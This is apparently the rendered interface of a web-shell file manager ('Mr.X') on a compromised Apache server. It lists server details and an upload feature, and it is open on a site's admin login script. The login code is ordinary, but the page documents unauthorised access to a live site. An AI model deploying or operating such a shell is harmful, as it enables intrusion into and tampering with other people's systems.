🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:index.php
<?php session_start(); require_once __DIR__ . '/../config/config.php'; require_once __DIR__ . '/../includes/functions.php'; if (isAdmin()) redirect('dashboard.php'); $error = ''; if ($_SERVER['REQUEST_METHOD'] == 'POST') { $username = cleanInput($_POST['username']); $password = $_POST['password']; $stmt = $conn->prepare("SELECT * FROM admins WHERE username = ? AND status = 1"); $stmt->bind_param("s", $username); $stmt->execute(); $admin = $stmt->get_result()->fetch_assoc(); if ($admin && password_verify($password, $admin['password'])) { $_SESSION['admin_id'] = $admin['id']; $_SESSION['admin_name'] = $admin['full_name']; $_SESSION['admin_role'] = $admin['role']; $conn->query("UPDATE admins SET last_login = NOW() WHERE id = {$admin['id']}"); addActivityLog('login', "Admin {$admin['full_name']} logged in", 'admin', $admin['id']); redirect('dashboard.php'); } else { $error = 'Invalid credentials'; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1.0"> <title>Admin Login - <?= SITE_NAME ?></title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css"> <style> body { background: linear-gradient(135deg, #0A2342 0%, #12305e 100%); min-height: 100vh; display: flex; align-items: center; } .login-card { background: white; border-radius: 20px; padding: 3rem; box-shadow: 0 20px 60px rgba(0,0,0,0.3); max-width: 420px; margin: 0 auto; } .login-logo { text-align: center; margin-bottom: 2rem; } .login-logo h3 { color: #0A2342; font-weight: 800; } .login-logo span { color: #FF7A00; } </style> </head> <body> <div class="container"> <div class="row justify-content-center"> <div class="col-lg-5"> <div class="login-card"> <div class="login-logo"><h3><i class="bi bi-shield-lock text-warning"></i> Admin Panel</h3><p class="text-muted"><?= SITE_NAME ?></p></div> <?php if ($error): ?><div class="alert alert-danger"><?= $error ?></div><?php endif; ?> <form method="post"> <div class="mb-3"><label class="form-label fw-bold">Username</label><input type="text" name="username" class="form-control" required placeholder="admin"></div> <div class="mb-3"><label class="form-label fw-bold">Password</label><input type="password" name="password" class="form-control" required placeholder="password"></div> <button type="submit" class="btn btn-warning w-100 fw-bold py-2"><i class="bi bi-box-arrow-in-right me-2"></i>Login to Admin</button> </form> <p class="text-center mt-3 mb-0"><a href="<?= SITE_URL ?>" class="text-muted text-decoration-none"><i class="bi bi-arrow-left me-1"></i>Back to Website</a></p> </div> </div> </div> </div> </body> </html>
Save Changes
Cancel
Create New File
Create New Folder